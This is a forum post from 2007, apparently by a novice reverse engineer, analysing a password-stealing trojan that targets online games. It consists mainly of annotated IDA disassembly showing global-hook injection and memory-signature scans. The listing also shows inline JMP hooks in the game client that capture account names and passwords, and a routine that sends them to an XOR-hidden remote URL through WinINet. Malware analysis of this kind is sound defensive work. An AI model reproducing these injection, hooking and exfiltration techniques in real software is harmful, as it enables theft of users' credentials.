-
-
[原创]Trojan-PSW.Win32.OnLineGames.qh木马分析
-
发表于: 2007-5-16 14:49 6270
-
菜鸟的逆向处女作《Trojan-PSW.Win32.OnLineGames.qh木马分析》
作者:zqw
虽然对病毒程序很兴趣,但从未分析过其内部究竟怎么实现,最近在同事的电脑中用卡巴发现了Trojan-PSW.Win32.OnLineGames.qh这个木马,但是由于其加了驱动保护,老是杀不掉,于是通过冰刃强行删除并捕获了这个木马的DLL样本,驱动和exe没有备份,但木马主体在dll中,我们就来分析该dll吧.
木马文件名:Winform.dll,用PEID一看,未加壳,且文件小巧,11K,好像是个软杮子,正好适合我这个初学才,于是载入到ida来分析。
查看 dll 的 Exports, 发现导出了两个函数, fx 和 DllEntryPoint。DllEntryPoint就是dll的入口点,我们先看看 fx 函数。
.text:100019CE fx proc near
.text:100019CE push 0 ; dwThreadId
.text:100019D0 push ds:hmod ; hmod
.text:100019D6 push offset fn ; lpfn
.text:100019DB push 7 ; idHook
.text:100019DD call ds:SetWindowsHookExA
.text:100019E3 mov ds:hhk, eax
.text:100019E8 retn
.text:100019E8
.text:100019E8 fx endp
可以看出,该dll 通过 SetWindowsHookEx注入,挂钩的类型是 7 ,即 WM_MOUSE.
DwThreadId为0,为全局HOOK,会注入到系统中每个使用USER32.DLL的进程。
根据DllEntryPoint,找到了 DllMain.
.text:1000116B lea eax, [ebp+Filename]
.text:10001171 push 104h ; nSize
.text:10001176 push eax ; lpFilename
.text:10001177 push ebx ; hModule
.text:10001178 call ds:GetModuleFileNameA ; 获得dll所在进程名
.text:1000117E lea eax, [ebp+Filename]
.text:10001184 push 5Ch ; int
.text:10001186 push eax ; char *
.text:10001187 call ds:strrchr
.text:1000118D mov esi, ds:_stricmp
.text:10001193 lea edi, [eax+1]
.text:10001196 push offset s_My_exe ; "my.exe"
.text:1000119B push edi ; char *
.text:1000119C call esi ; _stricmp
.text:1000119E add esp, 10h
.text:100011A1 test eax, eax
.text:100011A3 jz short loc_100011BD ; 位于my.exe进程空间中
.text:100011A3
.text:100011A5 push offset s_Gameclient_ex ; "gameclient.exe"
.text:100011AA push edi ; char *
.text:100011AB call esi ; _stricmp
.text:100011AD pop ecx
.text:100011AE test eax, eax
.text:100011B0 pop ecx
.text:100011B1 jnz short loc_100011BD ; 不在 gameclient.exe 进程空间中
;通过 进程名找到 目标对象
.text:100011B1
.text:100011B3 call HookGame ; 位于gameclient.exe进程中
.text:100011B3
.text:100011B8 jmp loc_10001249 ;结束
;如果用户将游戏程序文件改名了,则通过下查找窗口类寻找目标对象
.text:100011BD loc_100011BD: ; CODE XREF: DllMain(x,x,x)+74j
.text:100011BD ; DllMain(x,x,x)+82j
.text:100011BD cmp hThiefThread, ebx
.text:100011C3 jnz short loc_10001209
.text:100011C3
.text:100011C5 lea eax, [ebp+ClassName]
.text:100011C8 push ebx ; lpWindowName
.text:100011C9 push eax ; lpClassName
.text:100011CA mov dword ptr [ebp+ClassName], 41475357h
.text:100011D1 mov [ebp+var_4], 454Dh
.text:100011D8 call ds:FindWindowA ; 通过 窗口类名查找作案对象 查找目标窗口
.text:100011DE mov ebx, eax
.text:100011E0 test ebx, ebx
.text:100011E2 jz short loc_10001209 ; 未找到目标窗口
.text:100011E2
.text:100011E4 and [ebp+fdwReason], 0
.text:100011E8 lea eax, [ebp+fdwReason]
.text:100011EB push eax ; lpdwProcessId
.text:100011EC push ebx ; hWnd
.text:100011ED call ds:GetWindowThreadProcessId
.text:100011F3 call ds:GetCurrentProcessId
.text:100011F9 cmp [ebp+fdwReason], eax
.text:100011FC jnz short loc_10001209 ; DLL模块不在目标窗口进程中
.text:100011FC
.text:100011FE push ebx ; hWnd
.text:100011FF push [ebp+fdwReason] ; dwProcessId
.text:10001202 call StartThief ; DLL位于目标窗口进程中
.text:10001202
.text:10001207 pop ecx
.text:10001208 pop ecx
.text:10001209
.text:10001209 loc_10001209: ; CODE XREF: DllMain(x,x,x)+94j
.text:10001209 ; DllMain(x,x,x)+B3j
.text:10001209 ; DllMain(x,x,x)+CDj
.text:10001209 call ds:GetCurrentProcess
.text:1000120F mov hProcess, eax
.text:10001214 lea eax, [ebp+var_1C]
.text:10001217 push eax ; char *
.text:10001218 push edi ; char *
.text:10001219 mov [ebp+var_C], 65h
.text:10001220 mov dword ptr [ebp+var_1C], 6D656C65h
.text:10001227 mov [ebp+var_18], 63746E65h
.text:1000122E mov [ebp+var_14], 6E65696Ch
.text:10001235 mov [ebp+var_10], 78652E74h
.text:1000123C call esi ; _stricmp
.text:1000123E pop ecx
.text:1000123F test eax, eax
.text:10001241 pop ecx
.text:10001242 jnz short loc_10001249
.text:10001242
.text:10001244 call sub_1000195C
.text:10001244
.text:10001249
DllMain 退出
.text:10001249 push 1
.text:1000124B pop eax
.text:1000124C pop edi
.text:1000124D pop esi
.text:1000124E pop ebx
.text:1000124F leave
.text:10001250 retn 0Ch
.text:10001250
.text:10001250 __stdcall DllMain(x, x, x) endp
如果DLL位于 gameclient.exe 进程时,调用HookGame 进行游戏 hook操作。
.text:10002095 HookGame proc near ; CODE XREF: DllMain(x,x,x)+84 p
.text:10002095 call ds:GetCurrentProcess
.text:1000209B mov hProcess, eax
.text:100020A0 call SearchHookAddress ; 搜索特征串,定位Hook地址
.text:100020A0
.text:100020A5 test al, al
.text:100020A7 jz short loc_100020D1
.text:100020A7
.text:100020A9 call HookGameProcess ; 挂钩游戏进程,改变程序流程。
.text:100020A9
.text:100020AE xor eax, eax
.text:100020B0 cmp hHookGameProcThread, eax
.text:100020B6 jnz short loc_100020D1
.text:100020B6 ;下面的线程中循环hook
.text:100020B8 push eax ; lpThreadId
.text:100020B9 push eax ; dwCreationFlags
.text:100020BA push eax ; lpParameter
.text:100020BB push offset HookGamehreadProc ; lpStartAddress
.text:100020C0 push 400h ; dwStackSize
.text:100020C5 push eax ; lpThreadAttributes
.text:100020C6 call ds:CreateThread
.text:100020CC mov hHookGameProcThread, eax
.text:100020CC
.text:100020D1
.text:100020D1 loc_100020D1: ; CODE XREF: HookGame+12 j
.text:100020D1 ; HookGame+21 j
.text:100020D1 mov al, 1
.text:100020D3 retn
.text:100020D3
.text:100020D3 HookGame endp
SearchHookAddress 根据特征串定位4 个 Hook地址。
.text:10001F31 SearchHookAddress proc near ; CODE XREF: HookGame+Bp
.text:10001F31
.text:10001F31 var_28 = dword ptr -28h
.text:10001F31 var_24 = byte ptr -24h
.text:10001F31 var_23 = byte ptr -23h
.text:10001F31 var_22 = byte ptr -22h
.text:10001F31 var_21 = byte ptr -21h
.text:10001F31 var_20 = byte ptr -20h
.text:10001F31 var_1F = byte ptr -1Fh
.text:10001F31 var_1E = byte ptr -1Eh
.text:10001F31 var_1D = byte ptr -1Dh
.text:10001F31 var_1C = byte ptr -1Ch
.text:10001F31 var_1B = byte ptr -1Bh
.text:10001F31 var_18 = dword ptr -18h
.text:10001F31 var_14 = byte ptr -14h
.text:10001F31 var_13 = byte ptr -13h
.text:10001F31 var_12 = byte ptr -12h
.text:10001F31 var_11 = byte ptr -11h
.text:10001F31 var_10 = dword ptr -10h
.text:10001F31 var_C = byte ptr -0Ch
.text:10001F31 var_B = byte ptr -0Bh
.text:10001F31 var_A = byte ptr -0Ah
.text:10001F31 var_8 = dword ptr -8
.text:10001F31 var_4 = byte ptr -4
.text:10001F31 var_3 = byte ptr -3
.text:10001F31
.text:10001F31 push ebp
.text:10001F32 mov ebp, esp
.text:10001F34 sub esp, 28h
.text:10001F37 push ebx
.text:10001F38 push esi
.text:10001F39 mov esi, 500000h
.text:10001F3E push edi
.text:10001F3F xor ebx, ebx
.text:10001F41 push esi ; dwBytes
.text:10001F42 push ebx ; uFlags
.text:10001F43 call ds:GlobalAlloc
.text:10001F49 mov edi, eax
.text:10001F4B cmp edi, ebx
.text:10001F4D jnz short loc_10001F56
.text:10001F4D
.text:10001F4F xor al, al
.text:10001F51 jmp loc_10002090
.text:10001F51
.text:10001F56 ; ---------------------------------------------------------------------------
.text:10001F56
.text:10001F56 loc_10001F56: ; CODE XREF: SearchHookAddress+1Cj
.text:10001F56 push edi ; hMem
.text:10001F57 call ds:GlobalLock
.text:10001F5D push ebx ; lpNumberOfBytesRead
.text:10001F5E push esi ; nSize
.text:10001F5F push edi ; lpBuffer
.text:10001F60 push 400000h ; lpBaseAddress
.text:10001F65 push hProcess ; hProcess
.text:10001F6B call ds:ReadProcessMemory ; 读取进程前0x500000个字节
.text:10001F71 lea eax, [ebp+var_28]
.text:10001F74 push 0Eh
.text:10001F76 push eax
.text:10001F77 push esi
.text:10001F78 push edi
.text:10001F79 mov byte ptr [ebp+var_28], 89h
.text:10001F7D mov byte ptr [ebp+var_28+1], 9Ch
.text:10001F81 mov byte ptr [ebp+var_28+2], 24h
.text:10001F85 mov byte ptr [ebp+var_28+3], 0D4h
.text:10001F89 mov [ebp+var_24], bl
.text:10001F8C mov [ebp+var_23], bl
.text:10001F8F mov [ebp+var_22], bl
.text:10001F92 mov [ebp+var_21], 89h
.text:10001F96 mov [ebp+var_20], 0ACh
.text:10001F9A mov [ebp+var_1F], 24h
.text:10001F9E mov [ebp+var_1E], 0D0h
.text:10001FA2 mov [ebp+var_1D], bl
.text:10001FA5 mov [ebp+var_1C], bl
.text:10001FA8 mov [ebp+var_1B], bl
.text:10001FAB call SearchSubString ; 在读取的进程数据中搜索 var_28 特征串
.text:10001FAB
.text:10001FB0 add esp, 10h
.text:10001FB3 cmp eax, ebx
.text:10001FB5 jz short loc_10001FC9 ; 未找到 var_28 特征串
.text:10001FB5
.text:10001FB7 add eax, 400000h
.text:10001FBC mov dw_HookAddress1, eax
.text:10001FC1 add eax, 7
.text:10001FC4 mov dw_HookAddress1Ret, eax
.text:10001FC4
.text:10001FC9
.text:10001FC9 loc_10001FC9: ; CODE XREF: SearchHookAddress+84j
.text:10001FC9 lea eax, [ebp+var_18]
.text:10001FCC push 8
.text:10001FCE push eax
.text:10001FCF push esi
.text:10001FD0 push edi
.text:10001FD1 mov byte ptr [ebp+var_18], 8Bh
.text:10001FD5 mov byte ptr [ebp+var_18+1], 40h
.text:10001FD9 mov byte ptr [ebp+var_18+2], 5Ch
.text:10001FDD mov byte ptr [ebp+var_18+3], 5
.text:10001FE1 mov [ebp+var_14], 0A0h
.text:10001FE5 mov [ebp+var_13], 6
.text:10001FE9 mov [ebp+var_12], bl
.text:10001FEC mov [ebp+var_11], bl
.text:10001FEF call SearchSubString ; 搜索 var_18 特征串
.text:10001FEF
.text:10001FF4 add esp, 10h
.text:10001FF7 cmp eax, ebx
.text:10001FF9 jz short loc_1000200D ; 未搜索到 var_18 特征串
.text:10001FF9
.text:10001FFB add eax, 400000h
.text:10002000 mov dw_HookAddress2, eax
.text:10002005 add eax, 8
.text:10002008 mov dw_HookAddress2Ret, eax
.text:10002008
.text:1000200D
.text:1000200D loc_1000200D: ; CODE XREF: SearchHookAddress+C8j
.text:1000200D lea eax, [ebp+var_8]
.text:10002010 push 6
.text:10002012 push eax
.text:10002013 push esi
.text:10002014 push edi
.text:10002015 mov byte ptr [ebp+var_8], 8Dh
.text:10002019 mov byte ptr [ebp+var_8+1], 85h
.text:1000201D mov byte ptr [ebp+var_8+2], 0D0h
.text:10002021 mov byte ptr [ebp+var_8+3], 41h
.text:10002025 mov [ebp+var_4], bl
.text:10002028 mov [ebp+var_3], bl
.text:1000202B call SearchSubString ; 搜索 var_8 特征串
.text:1000202B
.text:10002030 add esp, 10h
.text:10002033 cmp eax, ebx
.text:10002035 jz short loc_10002049 ; 未找到 var_8 特征串
.text:10002035
.text:10002037 add eax, 400006h
.text:1000203C mov dw_HookAddress3, eax
.text:10002041 add eax, 6
.text:10002044 mov dw_HookAddress3Ret, eax
.text:10002044
.text:10002049
.text:10002049 loc_10002049: ; CODE XREF: SearchHookAddress+104j
.text:10002049 lea eax, [ebp+var_10]
.text:1000204C push 7
.text:1000204E push eax
.text:1000204F push esi
.text:10002050 push edi
.text:10002051 mov byte ptr [ebp+var_10], 0C6h
.text:10002055 mov byte ptr [ebp+var_10+1], 80h
.text:10002059 mov byte ptr [ebp+var_10+2], 0BCh
.text:1000205D mov byte ptr [ebp+var_10+3], bl
.text:10002060 mov [ebp+var_C], bl
.text:10002063 mov [ebp+var_B], bl
.text:10002066 mov [ebp+var_A], bl
.text:10002069 call SearchSubString ;
.text:10002069
.text:1000206E add esp, 10h
.text:10002071 cmp eax, ebx
.text:10002073 jz short loc_10002087 ; 未找到 var_10 特征串
.text:10002073
.text:10002075 add eax, 400000h
.text:1000207A mov dw_HookAddress4, eax
.text:1000207F add eax, 7
.text:10002082 mov dw_HookAddress4Ret, eax
.text:10002082
.text:10002087
.text:10002087 loc_10002087: ; CODE XREF: SearchHookAddress+142j
.text:10002087 push edi ; hMem
.text:10002088 call ds:GlobalFree
.text:1000208E mov al, 1
.text:1000208E
.text:10002090
.text:10002090 loc_10002090: ; CODE XREF: SearchHookAddress+20j
.text:10002090 pop edi
.text:10002091 pop esi
.text:10002092 pop ebx
.text:10002093 leave
.text:10002094 retn
.text:10002094
.text:10002094 SearchHookAddress endp
下面是HookGameProcess 过程,Hook了4个关键点
.text:100020D4 HookGameProcess proc near ; CODE XREF: HookGame+14p
.text:100020D4 ; HookGamehreadProc+8p
.text:100020D4
.text:100020D4 Buffer = dword ptr -8
.text:100020D4 arg_C4 = dword ptr 0CCh
.text:100020D4
.text:100020D4 push ebp
.text:100020D5 mov ebp, esp
.text:100020D7 push ecx
.text:100020D8 push ecx
.text:100020D9 mov eax, dw_HookAddress1
.text:100020DE push esi
.text:100020DF mov ecx, offset HookProc1
.text:100020E4
.text:100020E4 loc_100020E4:
.text:100020E4 push 5
.text:100020E6 sub ecx, eax
.text:100020E8 pop esi
.text:100020E9 sub ecx, esi
.text:100020EB push esi ; nSize
.text:100020EC mov [ebp+Buffer+1], ecx
.text:100020EF lea ecx, [ebp+Buffer]
.text:100020F2 push ecx ; lpBuffer
.text:100020F3 push eax ; lpBaseAddress
.text:100020F4 mov byte ptr [ebp+Buffer], 0E9h ; JMP HookProc1
.text:100020F8 call WriteToGameProcess
.text:100020F8
.text:100020FD mov eax, dw_HookAddress2
.text:10002102 mov ecx, offset HookProc2
.text:10002107 sub ecx, eax
.text:10002109 push esi ; nSize
.text:1000210A sub ecx, esi
.text:1000210C mov [ebp+Buffer+1], ecx
.text:1000210F lea ecx, [ebp+Buffer]
.text:10002112 push ecx ; lpBuffer
.text:10002113 push eax ; lpBaseAddress
.text:10002114 call WriteToGameProcess
.text:10002114
.text:10002119 mov eax, dw_HookAddress3
.text:1000211E mov ecx, offset HookProc3
.text:10002123 sub ecx, eax
.text:10002125 push esi ; nSize
.text:10002126 sub ecx, esi
.text:10002128 mov [ebp+Buffer+1], ecx
.text:1000212B lea ecx, [ebp+Buffer]
.text:1000212E push ecx ; lpBuffer
.text:1000212F push eax ; lpBaseAddress
.text:10002130 call WriteToGameProcess
.text:10002130
.text:10002135 mov eax, dw_HookAddress4
.text:1000213A mov ecx, offset HookProc4
.text:1000213F sub ecx, eax
.text:10002141 push esi ; nSize
.text:10002142 sub ecx, esi
.text:10002144 mov [ebp+Buffer+1], ecx
.text:10002147 lea ecx, [ebp+Buffer]
.text:1000214A push ecx ; lpBuffer
.text:1000214B push eax ; lpBaseAddress
.text:1000214C call WriteToGameProcess
.text:1000214C
.text:10002151 add esp, 30h
.text:10002154 mov al, 1
.text:10002156 pop esi
.text:10002157 leave
.text:10002158 retn
HookProc1 获取部分数据,存储到全局变量中:
.text:10002159 HookProc1: ; DATA XREF: HookGameProcess+Bo
.text:10002159 mov [esp+8+arg_C4], ebx
.text:10002160 sub esp, 100h
.text:10002166 pusha
.text:10002167 push eax ; lp
.text:10002168 call sub_1000217B
.text:10002168
.text:1000216D popa
.text:1000216E add esp, 100h
.text:10002174 push dw_HookAddress1Ret
.text:1000217A retn
.text:1000217A
.text:1000217A HookGameProcess endp ; sp = -10h
.text:1000217A
.text:1000217B
.text:1000217B ; *************** S U B R O U T I N E ***************************************
.text:1000217B
.text:1000217B
.text:1000217B ; int __stdcall sub_1000217B(void *lp)
.text:1000217B sub_1000217B proc near ; CODE XREF: HookGameProcess+94p
.text:1000217B
.text:1000217B lp = dword ptr 0Ch
.text:1000217B
.text:1000217B push ebx
.text:1000217C push esi
.text:1000217D mov esi, [esp+lp]
.text:10002181 push 1 ; ucb
.text:10002183 push esi ; lp
.text:10002184 call ds:IsBadReadPtr
.text:1000218A test eax, eax
.text:1000218C jnz short loc_100021D7
.text:1000218C
.text:1000218E xor ebx, ebx
.text:10002190 cmp [esi], bl
.text:10002192 jz short loc_100021D7
.text:10002192
.text:10002194 push esi ; char *
.text:10002195 push offset byte_100041E0 ; char *
.text:1000219A call strcpy
.text:1000219A
.text:1000219F pop ecx
.text:100021A0 mov byte_10004180, bl
.text:100021A6 pop ecx
.text:100021A7 mov byte_100041A0, bl
.text:100021AD mov byte_100041C0, bl
.text:100021B3 mov byte_10004200, bl
.text:100021B9 mov byte_10004220, bl
.text:100021BF mov dword_10004244, ebx
.text:100021C5 mov dword_10004248, ebx
.text:100021CB mov dword_1000424C, ebx
.text:100021D1 mov byte_10004250, bl
.text:100021D1
.text:100021D7
.text:100021D7 loc_100021D7: ; CODE XREF: sub_1000217B+11j
.text:100021D7 ; sub_1000217B+17j
.text:100021D7 pop esi
.text:100021D8 pop ebx
.text:100021D9 retn 4
.text:100021D9
.text:100021D9 sub_1000217B endp
HookProc2收集资料数据,并创建线程发送数据
.text:100021DC HookProc2 proc near ; DATA XREF: HookGameProcess+2Eo
.text:100021DC sub esp, 100h
.text:100021E2 pusha
.text:100021E3 push eax
.text:100021E4 call sub_100021FF
{
;sub_100021FF通过输入参数指针获得欲获取的数据内容,
.text:100021FF sub_100021FF proc near ; CODE XREF: HookProc2+8p
.text:100021FF
.text:100021FF var_20 = dword ptr -20h
.text:100021FF var_16 = dword ptr -16h
.text:100021FF arg_0 = dword ptr 8
.text:100021FF
.text:100021FF push ebp
.text:10002200 mov ebp, esp
.text:10002202 sub esp, 20h
.text:10002205 push esi
.text:10002206 mov esi, [ebp+arg_0]
.text:10002209 lea eax, [esi+9Ch]
.text:1000220F push eax ; char *
.text:10002210 push offset byte_100041A0 ; char *
.text:10002215 call strcpy
.text:10002215
.text:1000221A lea eax, [esi+70h]
.text:1000221D push eax ; char *
.text:1000221E push offset byte_100041C0 ; char *
.text:10002223 call strcpy
.text:10002223
.text:10002228 mov esi, [esi+5Ch]
.text:1000222B lea eax, [esi+24h]
.text:1000222E push eax ; char *
.text:1000222F push offset byte_10004220 ; char *
.text:10002234 call strcpy
.text:10002234
.text:10002239 mov eax, [esi+324h]
.text:1000223F push offset s_R ; "r"
.text:10002244 mov dword_10004240, eax
.text:10002249 mov eax, [esi+714h]
.text:1000224F mov dword_10004244, eax
.text:10002254 mov eax, [esi+718h]
.text:1000225A mov dword_10004248, eax
.text:1000225F mov eax, [esi+71Ch]
.text:10002265 push offset s__SetupDefault ; ".\\setup\\default.dat"
.text:1000226A mov dword_1000424C, eax
.text:1000226F call ds:fopen
.text:10002275 mov esi, eax
.text:10002277 lea eax, [ebp+var_20]
.text:1000227A push esi ; FILE *
.text:1000227B push 1 ; size_t
.text:1000227D push 20h ; size_t
.text:1000227F push eax ; void *
.text:10002280 call ds:fread
.text:10002286 push esi ; FILE *
.text:10002287 call ds:fclose
.text:1000228D lea eax, [ebp+var_16]
.text:10002290 push 4 ; size_t
.text:10002292 push eax ; void *
.text:10002293 push offset byte_10004180 ; void *
.text:10002298 call memcpy
.text:10002298
.text:1000229D add esp, 40h
.text:100022A0 xor eax, eax
.text:100022A2 pop esi
.text:100022A2
.text:100022A3
.text:100022A3 loc_100022A3: ; CODE XREF: sub_100021FF+B8j
.text:100022A3 mov cl, byte_10004180[eax]
.text:100022A9 cmp cl, 30h
.text:100022AC jb short loc_100022BB
.text:100022AC
.text:100022AE cmp cl, 39h
.text:100022B1 ja short loc_100022BB
.text:100022B1
.text:100022B3 inc eax
.text:100022B4 cmp eax, 4
.text:100022B7 jl short loc_100022A3
.text:100022B7
.text:100022B9 jmp short loc_100022C2
.text:100022B9
.text:100022BB ; ---------------------------------------------------------------------------
.text:100022BB
.text:100022BB loc_100022BB: ; CODE XREF: sub_100021FF+ADj
.text:100022BB ; sub_100021FF+B2j
.text:100022BB and byte_10004180[eax], 0
.text:100022BB
.text:100022C2
.text:100022C2 loc_100022C2: ; CODE XREF: sub_100021FF+BAj
.text:100022C2 call sub_10002320
{
;sub_10002320中,将获取的数据,在新的线程中发送到远程
.text:10002320 sub_10002320 proc near ; CODE XREF: sub_100021FF:loc_100022C2p
.text:10002320 ; HookProc4+8p
.text:10002320 xor eax, eax
.text:10002322 push eax ; lpThreadId
.text:10002323 push eax ; dwCreationFlags
.text:10002324 push eax ; lpParameter
.text:10002325 push offset SendGameDataThreadProc ; lpStartAddress 发送线程
.text:1000232A push 2800h ; dwStackSize
.text:1000232F push eax ; lpThreadAttributes
.text:10002330 call ds:CreateThread
.text:10002336 retn
.text:10002336
.text:10002336 sub_10002320 endp
}
.text:100022C2
.text:100022C7 leave
.text:100022C8 retn 4
.text:100022C8
.text:100022C8 sub_100021FF endp
}
.text:100021E4
.text:100021E9 popa
.text:100021EA add esp, 100h
.text:100021F0 mov eax, [eax+5Ch]
.text:100021F3 add eax, 6A0h
.text:100021F8 push dw_HookAddress2Ret
.text:100021FE retn
.text:100021FE
.text:100021FE HookProc2 endp ; sp = -4
HookProc3保存数据到全局变量中
.text:100022CB HookProc3 proc near ; DATA XREF: HookGameProcess+4Ao
.text:100022CB sub esp, 100h
.text:100022D1 pusha
.text:100022D2 push eax ; char *
.text:100022D3 call sub_100022EB
.text:100022D3
.text:100022D8 popa
.text:100022D9 add esp, 100h
.text:100022DF lea edx, [eax+1]
.text:100022E2 lea ecx, [ecx]
.text:100022E4 push dw_HookAddress3Ret
.text:100022EA retn
.text:100022EA
.text:100022EA HookProc3 endp ; sp = -4
.text:100022EA
.text:100022EB
.text:100022EB ; *************** S U B R O U T I N E ***************************************
.text:100022EB
.text:100022EB
.text:100022EB ; int __stdcall sub_100022EB(char *)
.text:100022EB sub_100022EB proc near ; CODE XREF: HookProc3+8p
.text:100022EB
.text:100022EB arg_0 = dword ptr 4
.text:100022EB
.text:100022EB mov eax, [esp+arg_0]
.text:100022EF cmp byte ptr [eax], 0
.text:100022F2 jz short locret_10002301
.text:100022F2
.text:100022F4 push eax ; char *
.text:100022F5 push offset byte_10004200 ; char *
.text:100022FA call strcpy
.text:100022FA
.text:100022FF pop ecx
.text:10002300 pop ecx
.text:10002300
.text:10002301
.text:10002301 locret_10002301: ; CODE XREF: sub_100022EB+7j
.text:10002301 retn 4
.text:10002301
.text:10002301 sub_100022EB endp
HookProc4 直接发送,此处应该是所有需要获取的数据都已经获取了。
.text:10002304 ; *************** S U B R O U T I N E ***************************************
.text:10002304
.text:10002304
.text:10002304 HookProc4 proc near ; DATA XREF: HookGameProcess+66o
.text:10002304 pusha
.text:10002305 mov byte_10004250, 1
.text:1000230C call sub_10002320
.text:1000230C
.text:10002311 popa
.text:10002312 mov byte ptr [eax+0BCh], 0
.text:10002319 push dw_HookAddress4Ret
.text:1000231F retn
.text:1000231F
.text:1000231F HookProc4 endp ; sp = -4
.text:1000231F
.text:10002320
.text:10002320 ; *************** S U B R O U T I N E ***************************************
.text:10002320
.text:10002320
.text:10002320 sub_10002320 proc near ; CODE XREF: sub_100021FF:loc_100022C2p
.text:10002320 ; HookProc4+8p
.text:10002320 xor eax, eax
.text:10002322 push eax ; lpThreadId
.text:10002323 push eax ; dwCreationFlags
.text:10002324 push eax ; lpParameter
.text:10002325 push offset SendGameDataThreadProc ; lpStartAddress
.text:1000232A push 2800h ; dwStackSize
.text:1000232F push eax ; lpThreadAttributes
.text:10002330 call ds:CreateThread
.text:10002336 retn
.text:10002336
.text:10002336 sub_10002320 endp
下面是SendGameDataThreadProc 线程回调函数,实际就是对获取的数据,格式化成串。然后通过 SendGameData 发送出去
.text:10002337 ; DWORD __stdcall SendGameDataThreadProc(LPVOID)
.text:10002337 SendGameDataThreadProc proc near ; DATA XREF: sub_10002320+5o
.text:10002337
.text:10002337 var_80 = dword ptr -80h
.text:10002337
.text:10002337 push ebp
.text:10002338 mov ebp, esp
.text:1000233A sub esp, 80h
.text:10002340 push esi
.text:10002341 mov esi, offset s_OiiJII ; "芾滥帥浺蛦毲哿揶揶氉圪涋抟蜎剌跉涨?
.text:10002346 push 24h ; size_t
.text:10002348 lea eax, [ebp+var_80]
.text:1000234B push esi ; void *
.text:1000234C push eax ; void *
.text:1000234D call memcpy
.text:1000234D
.text:10002352 push esi ; char *
.text:10002353 call strlen
.text:10002353
.text:10002358 xor edx, edx
.text:1000235A add esp, 10h
.text:1000235D xor ecx, ecx
.text:1000235F cmp eax, edx
.text:10002361 jle short loc_1000236D
.text:10002361
.text:10002363
.text:10002363 loc_10002363: ; CODE XREF: SendGameDataThreadProc+34j
.text:10002363 xor byte ptr [ebp+ecx+var_80], 0B4h
.text:10002368 inc ecx
.text:10002369 cmp ecx, eax
.text:1000236B jl short loc_10002363
.text:1000236B
.text:1000236D
.text:1000236D loc_1000236D: ; CODE XREF: SendGameDataThreadProc+2Aj
.text:1000236D cmp byte_10004250, dl
.text:10002373 jnz short loc_1000237B
.text:10002373
.text:10002375 mov byte_10004200, dl
.text:10002375
.text:1000237B
.text:1000237B loc_1000237B: ; CODE XREF: SendGameDataThreadProc+3Cj
.text:1000237B push 200h
.text:10002380 mov byte_10004250, dl
.text:10002386 call operator new(uint)
.text:10002386
.text:1000238B push dword_1000424C
.text:10002391 mov esi, eax
.text:10002393 lea eax, [ebp+var_80]
.text:10002396 push dword_10004248
.text:1000239C push dword_10004244
.text:100023A2 push dword_10004240
.text:100023A8 push offset byte_10004220
.text:100023AD push offset byte_10004200
.text:100023B2 push offset byte_100041E0
.text:100023B7 push offset byte_100041C0
.text:100023BC push offset byte_100041A0
.text:100023C1 push offset byte_10004180
.text:100023C6 push eax
.text:100023C7 push offset s_S?aSSSUSPSSpS ; "%s?a=%s&s=%s&u=%s&p=%s&sp=%s&r=%s&l=%d&"...
.text:100023CC push esi ; char *
.text:100023CD call ds:sprintf
.text:100023D3 add esp, 38h
.text:100023D6 push esi ; LPVOID
.text:100023D7 call SendGameData
.text:100023D7
.text:100023DC xor eax, eax
.text:100023DE pop esi
.text:100023DF leave
.text:100023E0 retn 4
.text:100023E0
.text:100023E0 SendGameDataThreadProc endp
.text:100023E0
.text:100023E3
最后一步,把敏感数据发送到远程
.text:10001253 ; DWORD __stdcall SendGameData(LPVOID)
.text:10001253 SendGameData proc near ; CODE XREF: SendGameDataThreadProc+A0p
.text:10001253 ; DATA XREF: SendDataToThief+21Eo
.text:10001253 ; SendDataToThief+278o
.text:10001253
.text:10001253 UrlAndSendData = dword ptr 8
.text:10001253
.text:10001253 push esi
.text:10001254 xor esi, esi
.text:10001256 push edi
.text:10001257 push esi ; dwFlags
.text:10001258 push esi ; lpszProxyBypass
.text:10001259 push esi ; lpszProxy
.text:1000125A push esi ; dwAccessType
.text:1000125B push offset szAgent ; "Forthgoe2"
.text:10001260 call ds:InternetOpenA
.text:10001266 mov edi, eax
.text:10001268 cmp edi, esi
.text:1000126A jz short loc_10001299
.text:1000126A
.text:1000126C push esi ; dwContext
.text:1000126D push 4000000h ; dwFlags
.text:10001272 push esi ; dwHeadersLength
.text:10001273 push esi ; lpszHeaders
.text:10001274 push [esp+14h+UrlAndSendData] ; lpszUrl
.text:10001278 push edi ; hInternet
.text:10001279 call ds:InternetOpenUrlA
.text:1000127F cmp eax, esi
.text:10001281 jz short loc_10001299
.text:10001281
.text:10001283 mov esi, ds:InternetCloseHandle
.text:10001289 push eax ; hInternet
.text:1000128A call esi ; InternetCloseHandle
.text:1000128C push edi ; hInternet
.text:1000128D call esi ; InternetCloseHandle
.text:1000128F push [esp+4+UrlAndSendData]
.text:10001293 call operator delete(void *)
.text:10001293
.text:10001298 pop ecx
.text:10001298
.text:10001299
.text:10001299 loc_10001299: ; CODE XREF: SendGameData+17j
.text:10001299 ; SendGameData+2Ej
.text:10001299 pop edi
.text:1000129A xor eax, eax
.text:1000129C pop esi
.text:1000129D retn 4
.text:1000129D
.text:1000129D SendGameData endp
;以上仅分析了通过进程名找到游戏进程的分支,该木马在通过进程名找不到时,还通过 窗口类 的途径查找目标,该分支我没有写出,不过通过上面的流程基本知道了该木马是如何盗取用户游戏资料信息的了。
虽然早就接触一些游戏辅助软件的相关程序,但自己从未真正去逆向过一个程序,而且对汇编也不熟悉,本文仅是自己工作之余的消遣时间的结果,如果文中有不对的地方,权当博各位大侠一笑。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课